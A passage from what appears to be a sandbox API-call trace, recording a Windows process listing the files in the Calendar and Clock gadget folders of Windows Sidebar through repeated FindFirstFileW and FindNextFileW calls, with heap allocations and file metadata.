ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0260.843] GetProcessHeap () returned 0x550000 [0260.843] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0260.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3769c1c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3769c1c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7160b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e7160b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb378fd7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-disable.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb38745bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-down.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-hot.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-disable.png", cAlternateFileName="")) returned 1 [0260.943] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ee3a28, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ee3a28, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-down.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3aafa5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-hot.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f7bfa4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f7bfa4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_bkg.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_orange.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_ring_docked.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8014520, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8014520, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803a67f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb803a67f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803a67f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb803a67f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg_orange.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_orange.png", cAlternateFileName="")) returned 1 [0260.944] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c5297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 1 [0260.945] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 1 [0260.945] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0260.945] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb40ef41c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 1 [0260.945] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-desk.png", cAlternateFileName="")) returned 1 [0260.945] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 1 [0260.945] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 0 [0260.945] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0260.947] GetProcessHeap () returned 0x550000 [0260.947] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0260.947] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0260.947] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0260.947] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0260.948] GetProcessHeap () returned 0x550000 [0260.948] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0260.948] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0260.948] GetProcessHeap () returned 0x550000 [0260.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0260.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0260.948] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.948] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ccadbf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9ccadbf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44a767c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0260.948] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0260.948] GetProcessHeap () returned 0x550000 [0260.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0260.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0260.950] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.950] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0260.950] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0260.950] GetProcessHeap () returned 0x550000 [0260.950] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0260.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0260.950] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.950] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0260.950] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0260.950] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0260.951] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0260.951] GetProcessHeap () returned 0x550000 [0260.951] HeapFree (in: hHeap=0x550000, dwFlags=0x0, 